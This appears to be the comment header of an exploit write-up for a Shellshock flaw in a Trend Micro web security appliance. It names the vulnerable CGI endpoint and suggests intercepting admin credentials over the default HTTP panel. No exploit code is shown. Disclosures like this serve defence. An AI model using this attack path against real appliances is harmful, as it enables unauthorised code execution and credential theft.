# TrendMicro InterScan Web Security Virtul Appliance
# ==================================================
# InterScan Web Security is a software virtual appliance that 
# dynamically protects against the ever-growing flood of web 
# threats at the Internet gateway exclusively designed to secure 
# you against traditional and emerging web threats at the Internet 
# gateway. The appliance however is shipped with a vulnerable
# version of Bash susceptible to shellshock (I know right?). An
# attacker can exploit this vulnerability by calling the CGI
# shellscript "/cgi-bin/cgiCmdNotify" which can be exploited
# to perform arbitrary code execution. A limitation of this 
# vulnerability is that the attacker must have credentials for
# the admin web interface to exploit this flaw. The panel runs
# over HTTP by default so a man-in-the-middle attack could be
# used to gain credentials and compromise the appliance.
